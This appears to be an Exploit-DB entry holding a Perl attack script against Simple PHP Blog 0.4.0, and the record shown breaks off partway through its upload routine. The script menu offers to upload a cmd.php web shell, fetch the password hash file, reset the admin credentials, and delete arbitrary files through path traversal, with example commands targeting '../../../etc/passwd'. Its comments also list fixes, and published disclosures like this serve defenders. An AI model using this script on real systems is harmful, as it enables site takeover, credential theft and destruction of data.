Exploit-DB #1191
Description: Simple PHP Blog 0.4.0 - Multiple Remote s
Type: webapps
Platform: php
Date: 2005-09-01
Author: Kenneth Belva

Exploit:
#!/usr/bin/perl -w
#===============================================================================
#	Title:		sphpblog_vulns.pl
#
#	Written by: 	Kenneth F. Belva, CISSP
#			Franklin Technologies Unlimited, Inc.
#			http://www.ftusecurity.com
#
#	Date: 		August 25, 2005
#
#	Version:	0.1
#
#	Description:	This program is for educational purposes only!
#			SimplePHPBlog as a few vulnerability which this
#			perl script demonstrates via an exploit.
#
#	Instructions:	Should be self-explanatory via the .pl help menu
#
#	Solutions:	
#			*** Solution 1
#			Change the line in comment_delete_cgi.php from
#			$logged_in = logged_in( false, true );    to
#			$logged_in = logged_in( true, true );
#
#			*** Solution 2
#			Place an .htaccess file with the following config in
#			the ./config directory:
#
#
#			#---------------------
#			#Snip .htaccess start
#			#---------------------			
#			IndexIgnore *
#
#			<Files .htaccess>
#			order allow,deny
#			deny from all
#			</Files>
#			
#			<Files *.txt>
#			order allow,deny
#			deny from all
#			</Files>
#			#---------------------
#			#Snip .htaccess end
#			#---------------------
#
#
#			*** Solution 3
#			See http://archives.neohapsis.com/archives/fulldisclosure/2005-08/0885.html
#				for PHP modification to upload image script.
#===============================================================================



#-------------------------------------------------------------------------------
#	Global Paramaters
#-------------------------------------------------------------------------------
use strict;
use warnings;

use vars qw/ %args /;

use Getopt::Std;
require LWP::UserAgent;
my $ua = LWP::UserAgent->new;

#-------------------------------------------------------------------------------
#	Global Routines
#-------------------------------------------------------------------------------

#Determine Operating System
my $OperatingSystem = $^O;
my $unix = "";

#Set OS Parameter
if (index(lc($OperatingSystem),"win")!=-1){
		   $unix="0"; #windows system
	    }else{
		    $unix="1"; #unix system
	    }

#-------------------------------------------------------------------------------
#	The Main Menu
#-------------------------------------------------------------------------------

sub menu()
    {
	    if ($unix){system("clear");}
	    	else{system("cls");}

	    print "
________________________________________________________________________________
		  SimplePHPBlog v0.4.0 Exploits
			     by
		     Kenneth F. Belva, CISSP
		   http://www.ftusecurity.com
________________________________________________________________________________

	Program	: $0
	Version	: v0.1
	Date	: 8/25/2005
	Descript: This perl script demonstrates a few flaws in
		  SimplePHPBlog.
	
	Comments: THIS PoC IS FOR EDUCATIONAL PURPOSES ONLY...
		  DO NOT RUN THIS AGAINST SYSTEMS TO WHICH YOU DO 
		  NOT HAVE PERMISSION TO DO SO!
		  
		  Please see this script comments for solution/fixes 
		  to demonstrated vulnerabilities. 
		  http://www.simplephpblog.com

	Usage	: $0 [-h host] [-e exploit]
	
		-?      : this menu
		-h      : host
		-e	: exploit
			(1)	: Upload cmd.php in [site]/images/
			(2)	: Retreive Password file (hash)
			(3)	: Set New User Name and Password
				[NOTE - uppercase switches for exploits]
				-U	: user name
				-P	: password
			(4)	: Delete a System File
				-F	: Path and System File 

	Examples: $0 -h 127.0.0.1 -e 2
		  $0 -h 127.0.0.1 -e 3 -U l33t -P l33t
		  $0 -h 127.0.0.1 -e 4 -F ./index.php
		  $0 -h 127.0.0.1 -e 4 -F ../../../etc/passwd
		  $0 -h 127.0.0.1 -e 1
	";	
        
	exit;
    }


#-------------------------------------------------------------------------------
#	Initial Routine
#-------------------------------------------------------------------------------

    sub init()
    {

	use Switch;
	
	# colon ':' after letter says that option takes variable
        my $opt_string = 'e:U:P:h:F:?';
        getopts( "$opt_string", \%args ) or menu();
	
	#Load parameters
	my $exploit = $args{e};
	my $host = $args{h};
	my $user = $args{U};
	my $pass = $args{P};
	my $file = $args{F};
	
	# What shall we do today?
	switch (%args) {
		case "?"	{ menu();}
		case "e"	{
				switch ($exploit) {
					
					if ($unix){system("clear");}
					else{system("cls");}
					
					print "
________________________________________________________________________________
		  SimplePHPBlog v0.4.0 Exploits
			     by
		     Kenneth F. Belva, CISSP
		    http://www.ftusecurity.com
________________________________________________________________________________";


					# Upload cmd.php to /images
					case "1" {	print "\nRunning cmd.php Upload Exploit....\n\n";
							&UploadCmdPHP($host);}
					# Retrieve Username & Password hash
					case "2" {	print "\nRunning Username and Password Hash Retrieval Exploit....\n\n";
							&RetrievePwd($host."/config/password.txt");}
					# Replace Username and Password
					case "3" {	print "\nRunning Set New Username and Password Exploit....\n\n";
							&SetUserPwd($host,$user,$pass);}
					# Delete a System File
					case "4" {	print "\nRunning Delete System File Exploit....\n\n";
							&DeleteFile($host . "/comment_delete_cgi.php?y=05&m=08&comment=",$file);}

					} #end $exploit switch
					print "\n\n\n*** Exploit Completed....\nHave a nice day! :)\n";
				} #end "e" case
		else		{ menu();}
		} #end %args switch

    } #end sub init

#-------------------------------------------------------------------------------
#	Exploit #1: Upload File Via POST 
#-------------------------------------------------------------------------------

sub UploadCmdPHP {

	
	my($url) = @_;
	
	use LWP;
	use HTTP::Request::Common qw(POST);
	my $ua = LWP::UserAgent->new;
	
	$HTTP::Request::Common::DYNAMIC_FILE_UPLOAD++;

	#Step 1: Retrieve hash
	#---------------